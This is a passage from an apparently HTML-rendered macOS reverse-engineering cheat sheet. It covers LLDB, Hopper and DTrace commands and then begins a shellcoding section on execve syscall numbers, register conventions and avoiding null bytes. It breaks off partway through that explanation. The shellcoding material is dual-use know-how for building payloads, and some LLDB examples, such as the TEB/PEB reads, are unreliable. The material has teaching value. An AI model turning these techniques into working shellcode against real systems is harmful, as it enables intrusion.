      <td>Sets a breakpoint that will resolve when the function is loaded into memory.</td>
    </tr>
    <tr>
      <td><strong>Conditional Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --name [Function] --condition '[Condition]'</code></td>
      <td>Sets a breakpoint with a condition. The breakpoint will only trigger if the condition evaluates to true.</td>
    </tr>
    <tr>
      <td> </td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint command add [BreakpointID] --python '[PythonScript]'</code></td>
      <td>Attaches a Python script to a breakpoint. The script executes when the breakpoint hits.</td>
    </tr>
    <tr>
      <td><strong>Breakpoint-Based Actions</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint command add [BreakpointID]</code></td>
      <td>Attaches a series of LLDB commands to a breakpoint, which are executed when the breakpoint is hit.</td>
    </tr>
    <tr>
      <td><strong>Hardware Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --hardware --address [Address]</code></td>
      <td>Sets a hardware breakpoint at a specified address.</td>
    </tr>
  </tbody>
</table>

<h3 id="debugging-stepping--tracing-in-lldb">Debugging (Stepping &amp; Tracing) in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Action</th>
      <th>Command</th>
      <th>Example</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Step Over</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-over</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-over</code></td>
      <td>Executes the next line or instruction, stepping over function calls.</td>
    </tr>
    <tr>
      <td><strong>Step Into</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-in</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-in</code></td>
      <td>Executes the next line or instruction, stepping into functions and calls.</td>
    </tr>
    <tr>
      <td><strong>Step Over with Count</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-over --count [n]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-over --count 2</code></td>
      <td>Executes the next <code class="language-plaintext highlighter-rouge">[n]</code> instructions, stepping over any function calls.</td>
    </tr>
    <tr>
      <td><strong>Step Into with Count</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-in --count [n]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-in --count 2</code></td>
      <td>Executes the next <code class="language-plaintext highlighter-rouge">[n]</code> instructions, tracing into any function calls.</td>
    </tr>
    <tr>
      <td><strong>Step Out</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-out</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-out</code></td>
      <td>Continues execution until the current function returns to its caller.</td>
    </tr>
    <tr>
      <td><strong>Step to Next Return</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until-return</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until-return</code></td>
      <td>Executes until the current function returns.</td>
    </tr>
    <tr>
      <td><strong>Step to Next Branch</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until-branch</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until-branch</code></td>
      <td>Executes until it reaches any branching instruction.</td>
    </tr>
    <tr>
      <td><strong>Step to Next Call</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until-call</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until-call</code></td>
      <td>Executes until a call instruction is reached within the current function.</td>
    </tr>
    <tr>
      <td><strong>Step Until Address</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until --address [addr]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until --address 0x00400000</code></td>
      <td>Continues execution until reaching the specified address.</td>
    </tr>
  </tbody>
</table>

<h3 id="modules--info-commands-in-lldb">Modules &amp; Info Commands in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example</th>
      <th>Description</th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>List Loaded Modules</strong></td>
      <td><code class="language-plaintext highlighter-rouge">image list</code></td>
      <td>Lists all modules loaded by the process along with detailed information.</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">image list [pattern]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) image list libc</code></td>
      <td>Lists modules that match the given pattern, useful for filtering specific libraries or modules.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Examine Symbols</strong></td>
      <td><code class="language-plaintext highlighter-rouge">image lookup --name [name]</code></td>
      <td>Looks up symbols by name across all modules.</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">image lookup --name [name] --shlib [module]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) image lookup --name strcpy --shlib libc</code></td>
      <td>Lists symbols within a specific module that match the symbol name provided.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Address Information</strong></td>
      <td><code class="language-plaintext highlighter-rouge">image lookup --address [addr]</code></td>
      <td>Provides detailed information about the function or symbol at the specified address including the module it belongs to.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Memory Protection Attributes</strong></td>
      <td><em>Not directly supported in LLDB</em></td>
      <td>LLDB does not directly provide page protection details, typically handled by OS-specific commands or tools.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Thread Environment Block</strong></td>
      <td><em>Access via memory read</em></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format x --size 8 --count 1 $teb</code></td>
      <td>Reads the Thread Environment Block (TEB) for the current thread indirectly by reading the relevant register or memory address.</td>
    </tr>
    <tr>
      <td><strong>Process Environment Block</strong></td>
      <td><em>Access via memory read</em></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format x --size 8 --count 1 $peb</code></td>
      <td>Shows the Process Environment Block (PEB) indirectly by accessing the relevant memory area, which holds process-related information.</td>
    </tr>
  </tbody>
</table>

<h3 id="evaluate-expression-in-lldb">Evaluate Expression in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Evaluate Expression</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression</code></td>
      <td>Evaluates C/C++ expressions, including function calls and accessing variables.</td>
    </tr>
    <tr>
      <td>expression [expr]</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) expression 3 + 4</code></td>
      <td>Evaluates the sum of 3 and 4.</td>
    </tr>
    <tr>
      <td><strong>Convert Hex to Dec</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression (int)0x20</code></td>
      <td>Converts a hexadecimal number to its decimal equivalent.</td>
    </tr>
    <tr>
      <td><strong>Convert Dec to Hex</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression (hex)54</code></td>
      <td>Converts a decimal number to its hexadecimal equivalent. Note: Use format specifiers for output formatting.</td>
    </tr>
    <tr>
      <td><strong>Bitwise Shift</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression 3 &lt;&lt; 1</code></td>
      <td>Performs a bitwise left shift on a number, effectively multiplying it by 2.</td>
    </tr>
    <tr>
      <td><strong>Bitwise AND</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression 0x12345678 &amp; 0xffff</code></td>
      <td>Performs a bitwise AND operation to mask certain bits.</td>
    </tr>
    <tr>
      <td><strong>Use Register Value</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression $rip + 24</code></td>
      <td>Evaluates an expression using the current value of the rip register (note: rip for x64, eip for x86) and adds a value to it.</td>
    </tr>
    <tr>
      <td><strong>Negative Hex Representation</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression -0x0fe</code></td>
      <td>Evaluates the negative hexadecimal representation of a number.</td>
    </tr>
    <tr>
      <td><strong>Evaluate with Context</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression -- [expr]</code></td>
      <td>Evaluates expressions with full access to the program’s variables and memory.</td>
    </tr>
    <tr>
      <td> </td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) expression -- (char*)$rdi</code></td>
      <td>Interprets the value of the rdi register as a pointer to a character (string).</td>
    </tr>
    <tr>
      <td><strong>Format Results in Hex</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression -f x -- (expression)</code></td>
      <td>Formats the result of an expression in hexadecimal.</td>
    </tr>
  </tbody>
</table>

<h3 id="lldb-scripting">LLDB Scripting</h3>

<table>
  <thead>
    <tr>
      <th>Description</th>
      <th>Script Command</th>
      <th>Example</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Assign a value to a pseudo-register</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command script add</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.set_register my_cmd</code></td>
      <td>Adds a custom command that sets a register value, defined in a Python function <code class="language-plaintext highlighter-rouge">my_script.set_register</code>.</td>
    </tr>
    <tr>
      <td><strong>Execute a command repeatedly</strong></td>
      <td>Python looping in script</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.loop_command my_loop</code></td>
      <td>Adds a loop command defined in <code class="language-plaintext highlighter-rouge">my_script.loop_command</code> to execute LLDB commands repeatedly.</td>
    </tr>
    <tr>
      <td><strong>Conditional breakpoint with script</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint command add</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) breakpoint set --name func -c "int_var == 1"</code></td>
      <td>Sets a conditional breakpoint that only triggers if <code class="language-plaintext highlighter-rouge">int_var</code> equals 1.</td>
    </tr>
    <tr>
      <td><strong>Write to a log file</strong></td>
      <td>Python scripting to log output</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.log_output log_cmd</code></td>
      <td>Custom script to log debugging output to a file, defined in <code class="language-plaintext highlighter-rouge">my_script.log_output</code>.</td>
    </tr>
    <tr>
      <td><strong>Branching in script</strong></td>
      <td>Python if-else in command script</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.check_condition check_cmd</code></td>
      <td>Implements branching logic within an LLDB command script defined in <code class="language-plaintext highlighter-rouge">my_script.check_condition</code>.</td>
    </tr>
    <tr>
      <td><strong>Using aliases</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command alias</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command alias ls_regs register read</code></td>
      <td>Creates an alias <code class="language-plaintext highlighter-rouge">ls_regs</code> for the <code class="language-plaintext highlighter-rouge">register read</code> command.</td>
    </tr>
    <tr>
      <td><strong>Script loops with aliases</strong></td>
      <td>Python loops to execute commands</td>
      <td>Define a loop in a Python script and use <code class="language-plaintext highlighter-rouge">lldb API</code> to execute LLDB commands within the loop.</td>
      <td>Useful for repetitive tasks, where Python controls the loop logic.</td>
    </tr>
    <tr>
      <td><strong>Data manipulation with scripts</strong></td>
      <td>Use Python scripts for data manipulation</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.manipulate_data data_cmd</code></td>
      <td>Custom script to manipulate data, defined in <code class="language-plaintext highlighter-rouge">my_script.manipulate_data</code>.</td>
    </tr>
    <tr>
      <td><strong>Logging with a condition</strong></td>
      <td>Conditional logging via Python script</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.conditional_log log_if_cmd</code></td>
      <td>Adds conditional logging functionality through a custom script <code class="language-plaintext highlighter-rouge">my_script.conditional_log</code>.</td>
    </tr>
    <tr>
      <td><strong>Iterating over a list of addresses</strong></td>
      <td>Python for loop in scripting</td>
      <td>Script a Python for loop to iterate over addresses and execute LLDB commands.</td>
      <td>Use Python to automate tasks over a range of memory addresses.</td>
    </tr>
    <tr>
      <td><strong>Conditionally modifying memory</strong></td>
      <td>Use Python conditionals and LLDB commands</td>
      <td>Define conditions in Python and use LLDB API to modify memory based on these conditions.</td>
      <td>Combines Python’s conditional logic with memory modification commands in LLDB.</td>
    </tr>
    <tr>
      <td><strong>Running a script file</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command source</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command source /path/to/my_script.lldb</code></td>
      <td>Executes LLDB commands from a script file.</td>
    </tr>
    <tr>
      <td><strong>Custom command sequences</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command script add</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.custom_sequence my_sequence</code></td>
      <td>Adds a custom command sequence defined in <code class="language-plaintext highlighter-rouge">my_script.custom_sequence</code>.</td>
    </tr>
  </tbody>
</table>

<h2 id="hopper-1">Hopper</h2>

<h3 id="set-a-breakpoint">Set a breakpoint</h3>

<ul>
  <li>One the red line on the left side click on the line you want to set breakpoint at:</li>
</ul>

<p><img width="513" height="186" alt="image" src="https://github.com/user-attachments/assets/a9db6bb6-2a40-4169-a521-cb939ba97c31" /></p>

<h3 id="bookmark-an-instruction">BookMark an instruction</h3>

<ul>
  <li>On the green line on the left side click on the line next to the instruction you want to bookmark:</li>
</ul>

<p><img width="516" height="181" alt="image" src="https://github.com/user-attachments/assets/1b6c069c-a7e9-400b-a15e-c7187d3a1524" /></p>

<h3 id="bookark-list">Bookark list</h3>

<p><img width="259" height="194" alt="image" src="https://github.com/user-attachments/assets/36525fdb-ea53-4744-bc0e-b97dad8ce22a" /></p>

<h3 id="breakpoints-list">Breakpoints list</h3>

<p><img width="255" height="196" alt="image" src="https://github.com/user-attachments/assets/ed5e94b1-bc33-449a-a730-2e9dcdb51211" /></p>

<h3 id="debugger">Debugger</h3>

<ul>
  <li>Choose the local or remote debugging
<img width="830" height="346" alt="image" src="https://github.com/user-attachments/assets/3a1bb1ef-ebe4-48f8-aaf7-37c3e64bb100" /></li>
</ul>

<h3 id="local-debugging">Local Debugging</h3>
<p><img width="1299" height="777" alt="image" src="https://github.com/user-attachments/assets/f6705863-b2d0-4d13-96c7-2cc2d3fe3cbb" /></p>

<ol>
  <li><strong>Controls</strong>:
    <ul>
      <li>This area typically contains buttons for controlling the debugging session, such as starting/pausing the execution (Play/Pause buttons), stopping the debug session, stepping into/over/out of functions (Step commands), and potentially restarting the debugged program. The “Connected” indicator suggests a successful attachment to the process or target for debugging.</li>
    </ul>
  </li>
  <li><strong>Threads and Callstack</strong>:
    <ul>
      <li>This section is split into two main parts:
        <ul>
          <li><strong>Threads</strong>: Shows a list of all the threads in the current debugging session. You can select a thread to view its call stack and register state.</li>
          <li><strong>Callstack</strong>: Displays the call stack of the selected thread. The call stack lists the sequence of function calls that are currently active. It starts with the current function where the execution is paused and goes back to the initial function call.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li><strong>Attach to Process</strong>:
    <ul>
      <li>This button is used to attach the debugger to a running process. You can use this if you want to debug a program that is already running rather than starting a new debug session.</li>
    </ul>
  </li>
  <li><strong>Register Groups</strong>:
    <ul>
      <li>The register tabs (GPR, FPU, MMX, etc.) organize the display of the CPU’s registers into groups:
        <ul>
          <li><strong>GPR (General Purpose Registers)</strong>: Displays general-purpose registers like RAX, RBX, RCX, etc. These registers are used for a variety of purposes, including arithmetic and data manipulation.</li>
          <li><strong>FPU (Floating-Point Unit Registers)</strong>: Shows the state of floating-point registers used for floating-point arithmetic operations.</li>
          <li><strong>MMX (Multimedia Extensions Registers)</strong>: Lists MMX registers which are used for multimedia tasks like audio or video processing.</li>
          <li>Each register may have indicators or buttons next to them for additional functionalities like setting watchpoints or modifying their values.</li>
        </ul>
      </li>
      <li><strong>Memory</strong>: A tab or section for viewing and editing the memory of the process being debugged.</li>
      <li><strong>Debugger Console</strong>: An interface for typing commands directly into the debugger, similar to a command-line interface.</li>
      <li><strong>Application Output</strong>: Where the standard output and error streams from the debugged process are displayed. This is where you would see print statements or error messages from the program.</li>
      <li><strong>Various CPU registers state</strong> (right side): Displaying the current state of additional registers, like segment registers (CS, DS, ES, etc.) and flags (RFLAGS), providing status flags and control bits used by the CPU.
        <h2 id="dtrace">DTrace</h2>
        <p>DTrace is a comprehensive dynamic tracing framework that is integrated into the <code class="language-plaintext highlighter-rouge">XNU</code> kernel on <code class="language-plaintext highlighter-rouge">macOS</code>. It provides detailed real-time insights into kernel and application behavior.</p>
      </li>
    </ul>
  </li>
</ol>

<h3 id="dtrace-basic-terms">DTrace Basic Terms</h3>

<ul>
  <li><strong>Providers</strong>: Modules within the kernel that offer tracing functionality. Example: <code class="language-plaintext highlighter-rouge">syscall</code>.</li>
  <li><strong>Probes</strong>: Trace points within providers that monitor specific events, like function entry and exit.</li>
  <li><strong>DTrace Consumers</strong>: Utilities that interact with DTrace, such as the <code class="language-plaintext highlighter-rouge">dtrace</code> command.</li>
  <li><strong>D Language</strong>: Scripting language used to write DTrace programs.</li>
</ul>

<h3 id="dtrace-and-utilities-for-different-usages">DTrace and Utilities for Different Usages</h3>

<table>
  <thead>
    <tr>
      <th>Utility/Command</th>
      <th>Options</th>
      <th>Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-l</code></td>
      <td>List Probes</td>
      <td>Lists all DTrace probes available on the system.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-n 'probe description'</code></td>
      <td>Start Tracing</td>
      <td>Initiates tracing based on a specified probe description.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-s script.d</code></td>
      <td>Run Script</td>
      <td>Executes a DTrace script from a file.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-q</code></td>
      <td>Quiet Mode</td>
      <td>Suppresses output of DTrace actions, useful for scripts that do not require immediate console output.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtruss</code></td>
      <td><code class="language-plaintext highlighter-rouge">-n process</code></td>
      <td>Trace Process</td>
      <td>Runs the dtruss script to trace system calls made by the specified process.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtruss</code></td>
      <td><code class="language-plaintext highlighter-rouge">-e</code></td>
      <td>Trace Executable</td>
      <td>Traces system calls when a specific executable is run.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtruss</code></td>
      <td><code class="language-plaintext highlighter-rouge">-p PID</code></td>
      <td>Trace PID</td>
      <td>Attaches to an existing process and traces its system calls.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">iosnoop</code></td>
      <td>N/A</td>
      <td>I/O Monitor</td>
      <td>Monitors file I/O activity in real-time.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">opensnoop</code></td>
      <td><code class="language-plaintext highlighter-rouge">-n process</code></td>
      <td>File Access Monitor</td>
      <td>Monitors files being opened by a specific process.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">execsnoop</code></td>
      <td>N/A</td>
      <td>Exec Calls Monitor</td>
      <td>Monitors execution of processes.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">errinfo</code></td>
      <td>N/A</td>
      <td>Error Monitor</td>
      <td>Monitors system call failures.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dapptrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-p PID</code></td>
      <td>Application Tracer</td>
      <td>Traces application-level activity for the specified process ID.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">bitesize.d</code></td>
      <td>N/A</td>
      <td>Disk I/O Size Analysis</td>
      <td>Analyzes disk I/O size by process, using DTrace.</td>
    </tr>
  </tbody>
</table>

<h4 id="examples-of-dtrace-script-usage">Examples of DTrace Script Usage</h4>

<ol>
  <li><strong>List all syscall probes for open calls</strong></li>
  <li>
    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="nb">sudo </span>dtrace <span class="nt">-l</span> <span class="nt">-n</span> <span class="s1">'syscall::open*:entry'</span>
</code></pre></div>    </div>
  </li>
  <li><strong>Trace system calls for a process named ‘myapp’</strong></li>
  <li>
    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="nb">sudo </span>dtrace <span class="nt">-n</span> <span class="s1">'syscall:::entry /execname == "myapp"/ { trace(probefunc); }'</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Run a DTrace script from a file</strong></p>

    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dtrace <span class="nt">-s</span> /path/to/myscript.d
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Trace file opens for process ID 12345 using opensnoop</strong></p>

    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>opensnoop <span class="nt">-p</span> 12345
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Monitor disk I/O size by process using bitesize.d</strong></p>

    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>bitesize.d
</code></pre></div>    </div>
  </li>
</ol>

<ul>
  <li>Scripting with <code class="language-plaintext highlighter-rouge">dtrace</code>:
    <ul>
      <li>https://docs.oracle.com/cd/E18752_01/html/819-5488/docinfo.html</li>
      <li>https://docs.oracle.com/en/operating-systems/solaris/oracle-solaris/11.4/dtrace-guide/index.html</li>
    </ul>
  </li>
</ul>

<h1 id="shellcoding-on-amd64">Shellcoding On AMD64</h1>

<h2 id="macos-system-call-classes">macOS System Call Classes</h2>

<table>
  <thead>
    <tr>
      <th>Class Number</th>
      <th>Class Name</th>
      <th>Description</th>
      <th>Masked Value Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_NONE</code></td>
      <td>Invalid System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x0000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MACH</code></td>
      <td>Mach-related System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x01000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">2</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code></td>
      <td>Unix/BSD System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x02000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">3</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MDEP</code></td>
      <td>Machine-dependent Syscalls</td>
      <td><code class="language-plaintext highlighter-rouge">0x03000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">4</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_DIAG</code></td>
      <td>Diagnostic System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x04000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">5</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_IPC</code></td>
      <td>Mach IPC System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x05000000</code></td>
    </tr>
  </tbody>
</table>

<p>Each system call class is associated with a unique number, which is shifted left by 24 bits (defined by <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_SHIFT</code>) to determine its class. The <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MASK</code> and <code class="language-plaintext highlighter-rouge">SYSCALL_NUMBER_MASK</code> are used to extract the class and syscall number respectively.</p>

<p>For example, a traditional BSD system call such as <code class="language-plaintext highlighter-rouge">execve</code> (system call number <code class="language-plaintext highlighter-rouge">59</code> or <code class="language-plaintext highlighter-rouge">0x3b</code>) in the <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code> (number <code class="language-plaintext highlighter-rouge">2</code>) would be represented as <code class="language-plaintext highlighter-rouge">0x200003b</code> when passed to the syscall assembly instruction.</p>

<pre><code class="language-asm">; Assembly example to make a syscall with execve (BSD) in macOS
mov rax, 0x200003b  ; Load the syscall number for execve (59 with class mask)
mov rdi, address    ; Address of the command to execute
mov rsi, argv       ; Pointer to an array of arguments
mov rdx, envp       ; Pointer to an array of environment variables
syscall             ; Make the system call
</code></pre>

<h2 id="calling-conventions-and-registers-for-shellcoding-on-macos-amd64">Calling Conventions and Registers for Shellcoding on macOS (AMD64)</h2>

<table>
  <thead>
    <tr>
      <th>Register</th>
      <th>Usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDI</code></td>
      <td>1st function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RSI</code></td>
      <td>2nd function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDX</code></td>
      <td>3rd function argument (and optionally the 2nd return value)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RCX</code></td>
      <td>4th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">R8</code></td>
      <td>5th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">R9</code></td>
      <td>6th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RAX</code></td>
      <td>Function return value</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RIP</code></td>
      <td>Instruction pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RSP</code></td>
      <td>Stack pointer (must be 16-byte aligned before calls)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBP</code></td>
      <td>Frame pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBX</code></td>
      <td>Base pointer (optional use)</td>
    </tr>
  </tbody>
</table>

<p>If a function requires more than six arguments, additional arguments are passed on the stack. It is essential to ensure that the <code class="language-plaintext highlighter-rouge">RSP</code> is properly aligned before making a function call. Despite system calls often working without strict alignment, adhering to this requirement is a good practice to avoid unexpected behavior.</p>

<h3 id="example">Example</h3>

<p>To illustrate how these registers are used in a function call, consider a function <code class="language-plaintext highlighter-rouge">foo</code> that takes three arguments.</p>

<pre><code class="language-asm">; Assume arg1, arg2, and arg3 are already set with appropriate values
mov rax, syscall_number
mov rdi, arg1 ; 1st argument
mov rsi, arg2 ; 2nd argument
mov rdx, arg3 ; 3rd argument
syscall      ; Call the function
</code></pre>

<h2 id="syscalls">Syscalls</h2>

<p>You can find system calls numbers in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> under the <code class="language-plaintext highlighter-rouge">xnu</code> source, You could choose the one you need with the version from the following link:</p>
<ul>
  <li>https://opensource.apple.com/source/xnu/ and https://opensource.apple.com/releases/</li>
</ul>

<h2 id="avoid-null-bytes-in-syscalls">Avoid Null-Bytes in Syscalls</h2>
<p>To find out the bit number to set with the <code class="language-plaintext highlighter-rouge">bts</code> instruction, you need to compare the binary representation of the syscall number (example: <code class="language-plaintext highlighter-rouge">0x3b</code>) with the binary representation of the syscall number plus the class mask (<code class="language-plaintext highlighter-rouge">0x200003b</code>). The <code class="language-plaintext highlighter-rouge">echo</code> and <code class="language-plaintext highlighter-rouge">bc</code> commands can be used to convert hexadecimal numbers to binary, and the <code class="language-plaintext highlighter-rouge">xargs</code>, <code class="language-plaintext highlighter-rouge">printf</code>, and <code class="language-plaintext highlighter-rouge">tr</code> commands format the output to compare the bits easily.</p>

<ol>
  <li><strong>Convert the syscall number (0x3b) to binary</strong>:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"obase=2; ibase=16; 3B"</span> | bc | xargs <span class="nb">printf</span> <span class="s2">"%064s</span><span class="se">\n</span><span class="s2">"</span> | <span class="nb">tr</span> <span class="s1">' '</span> <span class="s1">'0'</span>
</code></pre></div></div>

<p>This command will output the binary representation of <code class="language-plaintext highlighter-rouge">0x3b</code> as a 64-bit number, padded with zeroes.</p>

<ol>
  <li><strong>Convert the syscall number with the class mask (0x200003b) to binary</strong>:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"obase=2; ibase=16; 200003B"</span> | bc | xargs <span class="nb">printf</span> <span class="s2">"%064s</span><span class="se">\n</span><span class="s2">"</span> | <span class="nb">tr</span> <span class="s1">' '</span> <span class="s1">'0'</span>
</code></pre></div></div>

<p>This command will output the binary representation of <code class="language-plaintext highlighter-rouge">0x200003b</code> as a 64-bit number, padded with zeroes.</p>

<ol>
  <li><strong>Compare the Outputs</strong>:</li>
</ol>

<p>Look for the first bit that differs when comparing the binary output from step 1 to the output from step 2. The differing bit’s position (starting from 0 on the right) is the bit you need to set with the <code class="language-plaintext highlighter-rouge">bts</code> instruction to transform the syscall number into the one with the class mask applied.</p>

<p>For instance, if the binary output for <code class="language-plaintext highlighter-rouge">0x3b</code> is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>000...0000111011
</code></pre></div></div>

<p>And the binary output for <code class="language-plaintext highlighter-rouge">0x200003b</code> is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...0010000000000000000000111011
</code></pre></div></div>

